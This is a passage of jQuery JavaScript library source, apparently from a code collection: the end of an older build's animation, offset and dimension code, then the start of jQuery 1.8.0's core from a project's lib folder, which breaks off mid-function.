// flash of content
this.custom(this.prop === "width" || this.prop === "height" ? 1 : 0, this.cur());
// Start by showing the element
jQuery( this.elem ).show();
},
// Simple 'hide' function
hide: function() {
// Remember where we started, so that we can go back to it later
this.options.orig[this.prop] = jQuery.style( this.elem, this.prop );
this.options.hide = true;
// Begin the animation
this.custom(this.cur(), 0);
},
// Each step of an animation
step: function( gotoEnd ) {
var t = fxNow || createFxNow(),
done = true,
elem = this.elem,
options = this.options,
i, n;
if ( gotoEnd || t >= options.duration + this.startTime ) {
this.now = this.end;
this.pos = this.state = 1;
this.update();
options.animatedProperties[ this.prop ] = true;
for ( i in options.animatedProperties ) {
if ( options.animatedProperties[i] !== true ) {
done = false;
}
}
if ( done ) {
// Reset the overflow
if ( options.overflow != null && !jQuery.support.shrinkWrapBlocks ) {
jQuery.each( [ "", "X", "Y" ], function (index, value) {
elem.style[ "overflow" + value ] = options.overflow[index];
});
}
// Hide the element if the "hide" operation was done
if ( options.hide ) {
jQuery(elem).hide();
}
// Reset the properties, if the item has been hidden or shown
if ( options.hide || options.show ) {
for ( var p in options.animatedProperties ) {
jQuery.style( elem, p, options.orig[p] );
}
}
// Execute the complete function
options.complete.call( elem );
}
return false;
} else {
// classical easing cannot be used with an Infinity duration
if ( options.duration == Infinity ) {
this.now = t;
} else {
n = t - this.startTime;
this.state = n / options.duration;
// Perform the easing function, defaults to swing
this.pos = jQuery.easing[ options.animatedProperties[ this.prop ] ]( this.state, n, 0, 1, options.duration );
this.now = this.start + ((this.end - this.start) * this.pos);
}
// Perform the next step of the animation
this.update();
}
return true;
}
};
jQuery.extend( jQuery.fx, {
tick: function() {
for ( var timers = jQuery.timers, i = 0 ; i < timers.length ; ++i ) {
if ( !timers[i]() ) {
timers.splice(i--, 1);
}
}
if ( !timers.length ) {
jQuery.fx.stop();
}
},
interval: 13,
stop: function() {
clearInterval( timerId );
timerId = null;
},
speeds: {
slow: 600,
fast: 200,
// Default speed
_default: 400
},
step: {
opacity: function( fx ) {
jQuery.style( fx.elem, "opacity", fx.now );
},
_default: function( fx ) {
if ( fx.elem.style && fx.elem.style[ fx.prop ] != null ) {
fx.elem.style[ fx.prop ] = (fx.prop === "width" || fx.prop === "height" ? Math.max(0, fx.now) : fx.now) + fx.unit;
} else {
fx.elem[ fx.prop ] = fx.now;
}
}
}
});
if ( jQuery.expr && jQuery.expr.filters ) {
jQuery.expr.filters.animated = function( elem ) {
return jQuery.grep(jQuery.timers, function( fn ) {
return elem === fn.elem;
}).length;
};
}
// Try to restore the default display value of an element
function defaultDisplay( nodeName ) {
if ( !elemdisplay[ nodeName ] ) {
var body = document.body,
elem = jQuery( "<" + nodeName + ">" ).appendTo( body ),
display = elem.css( "display" );
elem.remove();
// If the simple way fails,
// get element's real default display by attaching it to a temp iframe
if ( display === "none" || display === "" ) {
// No iframe to use yet, so create it
if ( !iframe ) {
iframe = document.createElement( "iframe" );
iframe.frameBorder = iframe.width = iframe.height = 0;
}
body.appendChild( iframe );
// Create a cacheable copy of the iframe document on first call.
// IE and Opera will allow us to reuse the iframeDoc without re-writing the fake HTML
// document to it; WebKit & Firefox won't allow reusing the iframe document.
if ( !iframeDoc || !iframe.createElement ) {
iframeDoc = ( iframe.contentWindow || iframe.contentDocument ).document;
iframeDoc.write( ( document.compatMode === "CSS1Compat" ? "<!doctype html>" : "" ) + "<html><body>" );
iframeDoc.close();
}
elem = iframeDoc.createElement( nodeName );
iframeDoc.body.appendChild( elem );
display = jQuery.css( elem, "display" );
body.removeChild( iframe );
}
// Store the correct default display
elemdisplay[ nodeName ] = display;
}
return elemdisplay[ nodeName ];
}
var rtable = /^t(?:able|d|h)$/i,
rroot = /^(?:body|html)$/i;
if ( "getBoundingClientRect" in document.documentElement ) {
jQuery.fn.offset = function( options ) {
var elem = this[0], box;
if ( options ) {
return this.each(function( i ) {
jQuery.offset.setOffset( this, options, i );
});
}
if ( !elem || !elem.ownerDocument ) {
return null;
}
if ( elem === elem.ownerDocument.body ) {
return jQuery.offset.bodyOffset( elem );
}
try {
box = elem.getBoundingClientRect();
} catch(e) {}
var doc = elem.ownerDocument,
docElem = doc.documentElement;
// Make sure we're not dealing with a disconnected DOM node
if ( !box || !jQuery.contains( docElem, elem ) ) {
return box ? { top: box.top, left: box.left } : { top: 0, left: 0 };
}
var body = doc.body,
win = getWindow(doc),
clientTop = docElem.clientTop || body.clientTop || 0,
clientLeft = docElem.clientLeft || body.clientLeft || 0,
scrollTop = win.pageYOffset || jQuery.support.boxModel && docElem.scrollTop || body.scrollTop,
scrollLeft = win.pageXOffset || jQuery.support.boxModel && docElem.scrollLeft || body.scrollLeft,
top = box.top + scrollTop - clientTop,
left = box.left + scrollLeft - clientLeft;
return { top: top, left: left };
};
} else {
jQuery.fn.offset = function( options ) {
var elem = this[0];
if ( options ) {
return this.each(function( i ) {
jQuery.offset.setOffset( this, options, i );
});
}
if ( !elem || !elem.ownerDocument ) {
return null;
}
if ( elem === elem.ownerDocument.body ) {
return jQuery.offset.bodyOffset( elem );
}
jQuery.offset.initialize();
var computedStyle,
offsetParent = elem.offsetParent,
prevOffsetParent = elem,
doc = elem.ownerDocument,
docElem = doc.documentElement,
body = doc.body,
defaultView = doc.defaultView,
prevComputedStyle = defaultView ? defaultView.getComputedStyle( elem, null ) : elem.currentStyle,
top = elem.offsetTop,
left = elem.offsetLeft;
while ( (elem = elem.parentNode) && elem !== body && elem !== docElem ) {
if ( jQuery.offset.supportsFixedPosition && prevComputedStyle.position === "fixed" ) {
break;
}
computedStyle = defaultView ? defaultView.getComputedStyle(elem, null) : elem.currentStyle;
top -= elem.scrollTop;
left -= elem.scrollLeft;
if ( elem === offsetParent ) {
top += elem.offsetTop;
left += elem.offsetLeft;
if ( jQuery.offset.doesNotAddBorder && !(jQuery.offset.doesAddBorderForTableAndCells && rtable.test(elem.nodeName)) ) {
top += parseFloat( computedStyle.borderTopWidth ) || 0;
left += parseFloat( computedStyle.borderLeftWidth ) || 0;
}
prevOffsetParent = offsetParent;
offsetParent = elem.offsetParent;
}
if ( jQuery.offset.subtractsBorderForOverflowNotVisible && computedStyle.overflow !== "visible" ) {
top += parseFloat( computedStyle.borderTopWidth ) || 0;
left += parseFloat( computedStyle.borderLeftWidth ) || 0;
}
prevComputedStyle = computedStyle;
}
if ( prevComputedStyle.position === "relative" || prevComputedStyle.position === "static" ) {
top += body.offsetTop;
left += body.offsetLeft;
}
if ( jQuery.offset.supportsFixedPosition && prevComputedStyle.position === "fixed" ) {
top += Math.max( docElem.scrollTop, body.scrollTop );
left += Math.max( docElem.scrollLeft, body.scrollLeft );
}
return { top: top, left: left };
};
}
jQuery.offset = {
initialize: function() {
var body = document.body, container = document.createElement("div"), innerDiv, checkDiv, table, td, bodyMarginTop = parseFloat( jQuery.css(body, "marginTop") ) || 0,
html = "<div style='position:absolute;top:0;left:0;margin:0;border:5px solid #000;padding:0;width:1px;height:1px;'><div></div></div><table style='position:absolute;top:0;left:0;margin:0;border:5px solid #000;padding:0;width:1px;height:1px;' cellpadding='0' cellspacing='0'><tr><td></td></tr></table>";
jQuery.extend( container.style, { position: "absolute", top: 0, left: 0, margin: 0, border: 0, width: "1px", height: "1px", visibility: "hidden" } );
container.innerHTML = html;
body.insertBefore( container, body.firstChild );
innerDiv = container.firstChild;
checkDiv = innerDiv.firstChild;
td = innerDiv.nextSibling.firstChild.firstChild;
this.doesNotAddBorder = (checkDiv.offsetTop !== 5);
this.doesAddBorderForTableAndCells = (td.offsetTop === 5);
checkDiv.style.position = "fixed";
checkDiv.style.top = "20px";
// safari subtracts parent border width here which is 5px
this.supportsFixedPosition = (checkDiv.offsetTop === 20 || checkDiv.offsetTop === 15);
checkDiv.style.position = checkDiv.style.top = "";
innerDiv.style.overflow = "hidden";
innerDiv.style.position = "relative";
this.subtractsBorderForOverflowNotVisible = (checkDiv.offsetTop === -5);
this.doesNotIncludeMarginInBodyOffset = (body.offsetTop !== bodyMarginTop);
body.removeChild( container );
jQuery.offset.initialize = jQuery.noop;
},
bodyOffset: function( body ) {
var top = body.offsetTop,
left = body.offsetLeft;
jQuery.offset.initialize();
if ( jQuery.offset.doesNotIncludeMarginInBodyOffset ) {
top += parseFloat( jQuery.css(body, "marginTop") ) || 0;
left += parseFloat( jQuery.css(body, "marginLeft") ) || 0;
}
return { top: top, left: left };
},
setOffset: function( elem, options, i ) {
var position = jQuery.css( elem, "position" );
// set position first, in-case top/left are set even on static elem
if ( position === "static" ) {
elem.style.position = "relative";
}
var curElem = jQuery( elem ),
curOffset = curElem.offset(),
curCSSTop = jQuery.css( elem, "top" ),
curCSSLeft = jQuery.css( elem, "left" ),
calculatePosition = (position === "absolute" || position === "fixed") && jQuery.inArray("auto", [curCSSTop, curCSSLeft]) > -1,
props = {}, curPosition = {}, curTop, curLeft;
// need to be able to calculate position if either top or left is auto and position is either absolute or fixed
if ( calculatePosition ) {
curPosition = curElem.position();
curTop = curPosition.top;
curLeft = curPosition.left;
} else {
curTop = parseFloat( curCSSTop ) || 0;
curLeft = parseFloat( curCSSLeft ) || 0;
}
if ( jQuery.isFunction( options ) ) {
options = options.call( elem, i, curOffset );
}
if (options.top != null) {
props.top = (options.top - curOffset.top) + curTop;
}
if (options.left != null) {
props.left = (options.left - curOffset.left) + curLeft;
}
if ( "using" in options ) {
options.using.call( elem, props );
} else {
curElem.css( props );
}
}
};
jQuery.fn.extend({
position: function() {
if ( !this[0] ) {
return null;
}
var elem = this[0],
// Get *real* offsetParent
offsetParent = this.offsetParent(),
// Get correct offsets
offset = this.offset(),
parentOffset = rroot.test(offsetParent[0].nodeName) ? { top: 0, left: 0 } : offsetParent.offset();
// Subtract element margins
// note: when an element has margin: auto the offsetLeft and marginLeft
// are the same in Safari causing offset.left to incorrectly be 0
offset.top -= parseFloat( jQuery.css(elem, "marginTop") ) || 0;
offset.left -= parseFloat( jQuery.css(elem, "marginLeft") ) || 0;
// Add offsetParent borders
parentOffset.top += parseFloat( jQuery.css(offsetParent[0], "borderTopWidth") ) || 0;
parentOffset.left += parseFloat( jQuery.css(offsetParent[0], "borderLeftWidth") ) || 0;
// Subtract the two offsets
return {
top: offset.top - parentOffset.top,
left: offset.left - parentOffset.left
};
},
offsetParent: function() {
return this.map(function() {
var offsetParent = this.offsetParent || document.body;
while ( offsetParent && (!rroot.test(offsetParent.nodeName) && jQuery.css(offsetParent, "position") === "static") ) {
offsetParent = offsetParent.offsetParent;
}
return offsetParent;
});
}
});
// Create scrollLeft and scrollTop methods
jQuery.each( ["Left", "Top"], function( i, name ) {
var method = "scroll" + name;
jQuery.fn[ method ] = function( val ) {
var elem, win;
if ( val === undefined ) {
elem = this[ 0 ];
if ( !elem ) {
return null;
}
win = getWindow( elem );
// Return the scroll offset
return win ? ("pageXOffset" in win) ? win[ i ? "pageYOffset" : "pageXOffset" ] :
jQuery.support.boxModel && win.document.documentElement[ method ] ||
win.document.body[ method ] :
elem[ method ];
}
// Set the scroll offset
return this.each(function() {
win = getWindow( this );
if ( win ) {
win.scrollTo(
!i ? val : jQuery( win ).scrollLeft(),
i ? val : jQuery( win ).scrollTop()
);
} else {
this[ method ] = val;
}
});
};
});
function getWindow( elem ) {
return jQuery.isWindow( elem ) ?
elem :
elem.nodeType === 9 ?
elem.defaultView || elem.parentWindow :
false;
}
// Create width, height, innerHeight, innerWidth, outerHeight and outerWidth methods
jQuery.each([ "Height", "Width" ], function( i, name ) {
var type = name.toLowerCase();
// innerHeight and innerWidth
jQuery.fn[ "inner" + name ] = function() {
var elem = this[0];
return elem && elem.style ?
parseFloat( jQuery.css( elem, type, "padding" ) ) :
null;
};
// outerHeight and outerWidth
jQuery.fn[ "outer" + name ] = function( margin ) {
var elem = this[0];
return elem && elem.style ?
parseFloat( jQuery.css( elem, type, margin ? "margin" : "border" ) ) :
null;
};
jQuery.fn[ type ] = function( size ) {
// Get window width or height
var elem = this[0];
if ( !elem ) {
return size == null ? null : this;
}
if ( jQuery.isFunction( size ) ) {
return this.each(function( i ) {
var self = jQuery( this );
self[ type ]( size.call( this, i, self[ type ]() ) );
});
}
if ( jQuery.isWindow( elem ) ) {
// Everyone else use document.documentElement or document.body depending on Quirks vs Standards mode
// 3rd condition allows Nokia support, as it supports the docElem prop but not CSS1Compat
var docElemProp = elem.document.documentElement[ "client" + name ],
body = elem.document.body;
return elem.document.compatMode === "CSS1Compat" && docElemProp ||
body && body[ "client" + name ] || docElemProp;
// Get document width or height
} else if ( elem.nodeType === 9 ) {
// Either scroll[Width/Height] or offset[Width/Height], whichever is greater
return Math.max(
elem.documentElement["client" + name],
elem.body["scroll" + name], elem.documentElement["scroll" + name],
elem.body["offset" + name], elem.documentElement["offset" + name]
);
// Get or set width or height on the element
} else if ( size === undefined ) {
var orig = jQuery.css( elem, type ),
ret = parseFloat( orig );
return jQuery.isNaN( ret ) ? orig : ret;
// Set the width or height on the element (default to pixels if value is unitless)
} else {
return this.css( type, typeof size === "string" ? size : size + "px" );
}
};
});
// Expose jQuery to the global object
window.jQuery = window.$ = jQuery;
})(window);
|
src/js/lib/jquery-1.8.0.js
|
TheThirdOne/piskel
|
/*!
* jQuery JavaScript Library v1.8.0
* http://jquery.com/
*
* Includes Sizzle.js
* http://sizzlejs.com/
*
* Copyright 2012 jQuery Foundation and other contributors
* Released under the MIT license
* http://jquery.org/license
*
* Date: Thu Aug 09 2012 16:24:48 GMT-0400 (Eastern Daylight Time)
*/
(function( window, undefined ) {
var
// A central reference to the root jQuery(document)
rootjQuery,
// The deferred used on DOM ready
readyList,
// Use the correct document accordingly with window argument (sandbox)
document = window.document,
location = window.location,
navigator = window.navigator,
// Map over jQuery in case of overwrite
_jQuery = window.jQuery,
// Map over the $ in case of overwrite
_$ = window.$,
// Save a reference to some core methods
core_push = Array.prototype.push,
core_slice = Array.prototype.slice,
core_indexOf = Array.prototype.indexOf,
core_toString = Object.prototype.toString,
core_hasOwn = Object.prototype.hasOwnProperty,
core_trim = String.prototype.trim,
// Define a local copy of jQuery
jQuery = function( selector, context ) {
// The jQuery object is actually just the init constructor 'enhanced'
return new jQuery.fn.init( selector, context, rootjQuery );
},
// Used for matching numbers
core_pnum = /[\-+]?(?:\d*\.|)\d+(?:[eE][\-+]?\d+|)/.source,
// Used for detecting and trimming whitespace
core_rnotwhite = /\S/,
core_rspace = /\s+/,
// IE doesn't match non-breaking spaces with \s
rtrim = core_rnotwhite.test("\xA0") ? (/^[\s\xA0]+|[\s\xA0]+$/g) : /^\s+|\s+$/g,
// A simple way to check for HTML strings
// Prioritize #id over <tag> to avoid XSS via location.hash (#9521)
rquickExpr = /^(?:[^#<]*(<[\w\W]+>)[^>]*$|#([\w\-]*)$)/,
// Match a standalone tag
rsingleTag = /^<(\w+)\s*\/?>(?:<\/\1>|)$/,
// JSON RegExp
rvalidchars = /^[\],:{}\s]*$/,
rvalidbraces = /(?:^|:|,)(?:\s*\[)+/g,
rvalidescape = /\\(?:["\\\/bfnrt]|u[\da-fA-F]{4})/g,
rvalidtokens = /"[^"\\\r\n]*"|true|false|null|-?(?:\d\d*\.|)\d+(?:[eE][\-+]?\d+|)/g,
// Matches dashed string for camelizing
rmsPrefix = /^-ms-/,
rdashAlpha = /-([\da-z])/gi,
// Used by jQuery.camelCase as callback to replace()
fcamelCase = function( all, letter ) {
return ( letter + "" ).toUpperCase();
},
// The ready event handler and self cleanup method
DOMContentLoaded = function() {
if ( document.addEventListener ) {
document.removeEventListener( "DOMContentLoaded", DOMContentLoaded, false );
jQuery.ready();
} else if ( document.readyState === "complete" ) {
// we're here because readyState === "complete" in oldIE
// which is good enough for us to call the dom ready!
document.detachEvent( "onreadystatechange", DOMContentLoaded );
jQuery.ready();
}
},
// [[Class]] -> type pairs
class2type = {};
jQuery.fn = jQuery.prototype = {
constructor: jQuery,
init: function( selector, context, rootjQuery ) {
var match, elem, ret, doc;
// Handle $(""), $(null), $(undefined), $(false)
if ( !selector ) {
return this;
}
// Handle $(DOMElement)
if ( selector.nodeType ) {
this.context = this[0] = selector;
this.length = 1;
return this;
}
// Handle HTML strings
if ( typeof selector === "string" ) {
if ( selector.charAt(0) === "<" && selector.charAt( selector.length - 1 ) === ">" && selector.length >= 3 ) {
// Assume that strings that start and end with <> are HTML and skip the regex check
match = [ null, selector, null ];
} else {
match = rquickExpr.exec( selector );
}
// Match html or make sure no context is specified for #id
if ( match && (match[1] || !context) ) {
// HANDLE: $(html) -> $(array)
if ( match[1] ) {
context = context instanceof jQuery ? context[0] : context;
doc = ( context && context.nodeType ? context.ownerDocument || context : document );
// scripts is true for back-compat
selector = jQuery.parseHTML( match[1], doc, true );
if ( rsingleTag.test( match[1] ) && jQuery.isPlainObject( context ) ) {
this.attr.call( selector, context, true );
}
return jQuery.merge( this, selector );
// HANDLE: $(#id)
} else {
elem = document.getElementById( match[2] );
// Check parentNode to catch when Blackberry 4.6 returns
// nodes that are no longer in the document #6963
if ( elem && elem.parentNode ) {
// Handle the case where IE and Opera return items
// by name instead of ID
if ( elem.id !== match[2] ) {
return rootjQuery.find( selector );
}
// Otherwise, we inject the element directly into the jQuery object
this.length = 1;
this[0] = elem;
}
this.context = document;
this.selector = selector;
return this;
}
// HANDLE: $(expr, $(...))
} else if ( !context || context.jquery ) {
return ( context || rootjQuery ).find( selector );
// HANDLE: $(expr, context)
// (which is just equivalent to: $(context).find(expr)
} else {
return this.constructor( context ).find( selector );
}
// HANDLE: $(function)
// Shortcut for document ready
} else if ( jQuery.isFunction( selector ) ) {
return rootjQuery.ready( selector );
}
if ( selector.selector !== undefined ) {
this.selector = selector.selector;
this.context = selector.context;
}
return jQuery.makeArray( selector, this );
},
// Start with an empty selector
selector: "",
// The current version of jQuery being used
jquery: "1.8.0",
// The default length of a jQuery object is 0
length: 0,
// The number of elements contained in the matched element set
size: function() {
return this.length;
},
toArray: function() {
return core_slice.call( this );
},
// Get the Nth element in the matched element set OR
// Get the whole matched element set as a clean array
get: function( num ) {
return num == null ?
// Return a 'clean' array
this.toArray() :
// Return just the object
( num < 0 ? this[ this.length + num ] : this[ num ] );
},
// Take an array of elements and push it onto the stack
// (returning the new matched element set)
pushStack: function( elems, name, selector ) {
// Build a new jQuery matched element set
var ret = jQuery.merge( this.constructor(), elems );
// Add the old object onto the stack (as a reference)
ret.prevObject = this;
ret.context = this.context;
if ( name === "find" ) {
ret.selector = this.selector + ( this.selector ? " " : "" ) + selector;
} else if ( name ) {
ret.selector = this.selector + "." + name + "(" + selector + ")";
}
// Return the newly-formed element set
return ret;
},
// Execute a callback for every element in the matched set.
// (You can seed the arguments with an array of args, but this is
// only used internally.)
each: function( callback, args ) {
return jQuery.each( this, callback, args );
},
ready: function( fn ) {
// Add the callback
jQuery.ready.promise().done( fn );
return this;
},
eq: function( i ) {
i = +i;
return i === -1 ?
this.slice( i ) :
this.slice( i, i + 1 );
},
first: function() {
return this.eq( 0 );
},
last: function() {
return this.eq( -1 );
},
slice: function() {
return this.pushStack( core_slice.apply( this, arguments ),
"slice", core_slice.call(arguments).join(",") );
},
map: function( callback ) {
return this.pushStack( jQuery.map(this, function( elem, i ) {
return callback.call( elem, i, elem );
}));
},
end: function() {
return this.prevObject || this.constructor(null);
},
// For internal use only.
// Behaves like an Array's method, not like a jQuery method.
push: core_push,
sort: [].sort,
splice: [].splice
};
// Give the init function the jQuery prototype for later instantiation
jQuery.fn.init.prototype = jQuery.fn;
jQuery.extend = jQuery.fn.extend = function() {
var options, name, src, copy, copyIsArray, clone,
target = arguments[0] || {},
i = 1,
length = arguments.length,
deep = false;
// Handle a deep copy situation
if ( typeof target === "boolean" ) {
deep = target;
target = arguments[1] || {};
// skip the boolean and the target
i = 2;
}
// Handle case when target is a string or something (possible in deep copy)
if ( typeof target !== "object" && !jQuery.isFunction(target) ) {
target = {};
}
// extend jQuery itself if only one argument is passed
if ( length === i ) {
target = this;
--i;
}
for ( ; i < length; i++ ) {
// Only deal with non-null/undefined values
if ( (options = arguments[ i ]) != null ) {
// Extend the base object
for ( name in options ) {
src = target[ name ];
copy = options[ name ];
// Prevent never-ending loop
if ( target === copy ) {
continue;
}
// Recurse if we're merging plain objects or arrays
if ( deep && copy && ( jQuery.isPlainObject(copy) || (copyIsArray = jQuery.isArray(copy)) ) ) {
if ( copyIsArray ) {
copyIsArray = false;
clone = src && jQuery.isArray(src) ? src : [];
} else {
clone = src && jQuery.isPlainObject(src) ? src : {};
}
// Never move original objects, clone them
target[ name ] = jQuery.extend( deep, clone, copy );
// Don't bring in undefined values
} else if ( copy !== undefined ) {
target[ name ] = copy;
}
}
}
}
// Return the modified object
return target;
};
jQuery.extend({
noConflict: function( deep ) {
if ( window.$ === jQuery ) {
window.$ = _$;
}
if ( deep && window.jQuery === jQuery ) {
window.jQuery = _jQuery;
}
return jQuery;
},
// Is the DOM ready to be used? Set to true once it occurs.
isReady: false,
// A counter to track how many items to wait for before
// the ready event fires. See #6781
readyWait: 1,
// Hold (or release) the ready event
holdReady: function( hold ) {
if ( hold ) {
jQuery.readyWait++;
} else {
jQuery.ready( true );
}
},
// Handle when the DOM is ready
ready: function( wait ) {
// Abort if there are pending holds or we're already ready
if ( wait === true ? --jQuery.readyWait : jQuery.isReady ) {
return;
}
// Make sure body exists, at least, in case IE gets a little overzealous (ticket #5443).
if ( !document.body ) {
return setTimeout( jQuery.ready, 1 );
}
// Remember that the DOM is ready
jQuery.isReady = true;
// If a normal DOM Ready event fired, decrement, and wait if need be
if ( wait !== true && --jQuery.readyWait > 0 ) {
return;
}
// If there are functions bound, to execute
readyList.resolveWith( document, [ jQuery ] );
// Trigger any bound ready events
if ( jQuery.fn.trigger ) {
jQuery( document ).trigger("ready").off("ready");
}
},
// See test/unit/core.js for details concerning isFunction.
// Since version 1.3, DOM methods and functions like alert
// aren't supported. They return false on IE (#2968).
isFunction: function( obj ) {
return jQuery.type(obj) === "function";
},
isArray: Array.isArray || function( obj ) {
return jQuery.type(obj) === "array";
},
isWindow: function( obj ) {
return obj != null && obj == obj.window;
},
isNumeric: function( obj ) {
return !isNaN( parseFloat(obj) ) && isFinite( obj );
},
type: function( obj ) {
return obj == null ?
String( obj ) :
class2type[ core_toString.call(obj) ] || "object";
},
isPlainObject: function( obj ) {
// Must be an Object.
// Because of IE, we also have to check the presence of the constructor property.
// Make sure that DOM nodes and window objects don't pass through, as well
if ( !obj || jQuery.type(obj) !== "object" || obj.nodeType || jQuery.isWindow( obj ) ) {
return false;
}
try {
// Not own constructor property must be Object
if ( obj.constructor &&
!core_hasOwn.call(obj, "constructor") &&
!core_hasOwn.call(obj.constructor.prototype, "isPrototypeOf") ) {
return false;
}
} catch ( e ) {
// IE8,9 Will throw exceptions on certain host objects #9897
return false;
}
// Own properties are enumerated firstly, so to speed up,
// if last one is own, then all properties are own.
var key;
for ( key in obj ) {}
return key === undefined || core_hasOwn.call( obj, key );
},
isEmptyObject: function( obj ) {
var name;
for ( name in obj ) {
return false;
}
return true;
},
error: function( msg ) {
throw new Error( msg );
},
// data: string of html
// context (optional): If specified, the fragment will be created in this context, defaults to document
// scripts (optional): If true, will include scripts passed in the html string
parseHTML: function( data, context, scripts ) {
var parsed;
if ( !data || typeof data !== "string" ) {
return null;
}
if ( typeof context === "boolean" ) {
scripts = context;
context = 0;
}
context = context || document;
// Single tag
if ( (parsed = rsingleTag.exec( data )) ) {
return [ context.createElement( parsed[1] ) ];
}
parsed = jQuery.buildFragment( [ data ], context, scripts ? null : [] );
return jQuery.merge( [],
(parsed.cacheable ? jQuery.clone( parsed.fragment ) : parsed.fragment).childNodes );
},
parseJSON: function( data ) {
if ( !data || typeof data !== "string") {
return null;
}
// Make sure leading/trailing whitespace is removed (IE can't handle it)
data = jQuery.trim( data );
// Attempt to parse using the native JSON parser first
if ( window.JSON && window.JSON.parse ) {
return window.JSON.parse( data );
}
// Make sure the incoming data is actual JSON
// Logic borrowed from http://json.org/json2.js
if ( rvalidchars.test( data.replace( rvalidescape, "@" )
.replace( rvalidtokens, "]" )
.replace( rvalidbraces, "")) ) {
return ( new Function( "return " + data ) )();
}
jQuery.error( "Invalid JSON: " + data );
},
// Cross-browser xml parsing
parseXML: function( data ) {
var xml, tmp;
if ( !data || typeof data !== "string" ) {
return null;
}
try {
if ( window.DOMParser ) { // Standard
tmp = new DOMParser();
xml = tmp.parseFromString( data , "text/xml" );
} else { // IE
xml = new ActiveXObject( "Microsoft.XMLDOM" );
xml.async = "false";
xml.loadXML( data );
}
} catch( e ) {
xml = undefined;
}
if ( !xml || !xml.documentElement || xml.getElementsByTagName( "parsererror" ).length ) {
jQuery.error( "Invalid XML: " + data );
}
return xml;
},
noop: function() {},
// Evaluates a script in a global context
// Workarounds based on findings by Jim Driscoll
// http://weblogs.java.net/blog/driscoll/archive/2009/09/08/eval-javascript-global-context
globalEval: function( data ) {
if ( data && core_rnotwhite.test( data ) ) {
// We use execScript on Internet Explorer
// We use an anonymous function so that context is window
// rather than jQuery in Firefox
( window.execScript || function( data ) {
window[ "eval" ].call( window, data );
} )( data );
}
},
// Convert dashed to camelCase; used by the css and data modules
// Microsoft forgot to hump their vendor prefix (#9572)
camelCase: function( string ) {
return string.replace( rmsPrefix, "ms-" ).replace( rdashAlpha, fcamelCase );
},
nodeName: function( elem, name ) {
return elem.nodeName && elem.nodeName.toUpperCase() === name.toUpperCase();
},
// args is for internal usage only
each: function( obj, callback, args ) {
var name,
i = 0,
length = obj.length,
isObj = length === undefined || jQuery.isFunction( obj );
if ( args ) {
if ( isObj ) {
for ( name in obj ) {
if ( callback.apply( obj[ name ], args ) === false ) {
break;
}
}
} else {
for ( ; i < length; ) {
if ( callback.apply( obj[ i++ ], args ) === false ) {
break;
}
}
}
// A special, fast, case for the most common use of each
} else {
if ( isObj ) {
for ( name in obj ) {
if ( callback.call( obj[ name ], name, obj[ name ] ) === false ) {
break;
}
}
} else {
for ( ; i < length; ) {
if ( callback.call( obj[ i ], i, obj[ i++ ] ) === false ) {
break;
}
}
}
}
return obj;
},
// Use native String.trim function wherever possible
trim: core_trim ?
function( text ) {
return text == null ?
"" :
core_trim.call( text );
} :
// Otherwise use our own trimming functionality
function( text ) {
return text == null ?
"" :
text.toString().replace( rtrim, "" );
},
// results is for internal usage only
makeArray: function( arr, results ) {
var type,
ret = results || [];
if ( arr != null ) {
// The window, strings (and functions) also have 'length'
// Tweaked logic slightly to handle Blackberry 4.7 RegExp issues #6930
type = jQuery.type( arr );
if ( arr.length == null || type === "string" || type === "function" || type === "regexp" || jQuery.isWindow( arr ) ) {
core_push.call( ret, arr );
} else {
jQuery.merge( ret, arr );
}
}
return ret;
},
inArray: function( elem, arr, i ) {
var len;
if ( arr ) {
if ( core_indexOf ) {
return core_indexOf.call( arr, elem, i );
}
len = arr.length;
i = i ? i < 0 ? Math.max( 0, len + i ) : i : 0;
for ( ; i < len; i++ ) {
// Skip accessing in sparse arrays
if ( i in arr && arr[ i ] === elem ) {
return i;
}
}
}
return -1;
},
merge: function( first, second ) {
var l = second.length,
i = first.length,
j = 0;
if ( typeof l === "number" ) {
for ( ; j < l; j++ ) {
first[ i++ ] = second[ j ];
}
} else {
while ( second[j] !== undefined ) {
first[ i++ ] = second[ j++ ];
}
}
first.length = i;
return first;
},
grep: function( elems, callback, inv ) {
var retVal,
ret = [],
i = 0,
length = elems.length;
inv = !!inv;
// Go through the array, only saving the items
// that pass the validator function
for ( ; i < length; i++ ) {
retVal = !!callback( elems[ i ], i );
if ( inv !== retVal ) {
ret.push( elems[ i ] );
}
}
return ret;
},
// arg is for internal usage only
map: function( elems, callback, arg ) {
var value, key,
ret = [],
i = 0,
length = elems.length,
// jquery objects are treated as arrays
isArray = elems instanceof jQuery || length !== undefined && typeof length === "number" && ( ( length > 0 && elems[ 0 ] && elems[ length -1 ] ) || length === 0 || jQuery.isArray( elems ) ) ;
// Go through the array, translating each of the items to their
if ( isArray ) {
for ( ; i < length; i++ ) {
value = callback( elems[ i ], i, arg );
if ( value != null ) {
ret[ ret.length ] = value;
}
}
// Go through every key on the object,
} else {
for ( key in elems ) {
value = callback( elems[ key ], key, arg );
if ( value != null ) {
ret[ ret.length ] = value;
}
}
}
// Flatten any nested arrays
return ret.concat.apply( [], ret );
},
// A global GUID counter for objects
guid: 1,
// Bind a function to a context, optionally partially applying any
// arguments.
proxy: function( fn, context ) {
var tmp, args, proxy;
if ( typeof context === "string" ) {
tmp = fn[ context ];
context = fn;
fn = tmp;
}
// Quick check to determine if target is callable, in the spec
// this throws a TypeError, but we will just return undefined.
if ( !jQuery.isFunction( fn ) ) {
return undefined;
}
// Simulated bind
args = core_slice.call( arguments, 2 );
proxy = function() {
return fn.apply( context, args.concat( core_slice.call( arguments ) ) );
};
// Set the guid of unique handler to the same of original handler, so it can be removed
proxy.guid = fn.guid = fn.guid || proxy.guid || jQuery.guid++;
return proxy;
},
// Multifunctional method to get and set values of a collection
// The value/s can optionally be executed if it's a function
access: function( elems, fn, key, value, chainable, emptyGet, pass ) {
var exec,
bulk = key == null,
i = 0,
length = elems.length;
// Sets many values
if ( key && typeof key === "object" ) {
for ( i in key ) {
jQuery.access( elems, fn, i, key[i], 1, emptyGet, value );
}
chainable = 1;
// Sets one value
} else if ( value !== undefined ) {
// Optionally, function values get executed if exec is true
exec = pass === undefined && jQuery.isFunction( value );
if ( bulk ) {
// Bulk operations only iterate when executing function values
if ( exec ) {
exec = fn;
fn = function( elem, key, value ) {
return exec.call( jQuery( elem ), value );
};
// Otherwise they run against the entire set
} else {
fn.call( elems, value );
fn = null;
}
}
if ( fn ) {
for (; i < length; i++ ) {
fn( elems[i], key, exec ? value.call( elems[i], i, fn( elems[i], key ) ) : value, pass );
}
}
chainable = 1;
}
return chainable ?
elems :
// Gets
bulk ?
fn.call( elems ) :
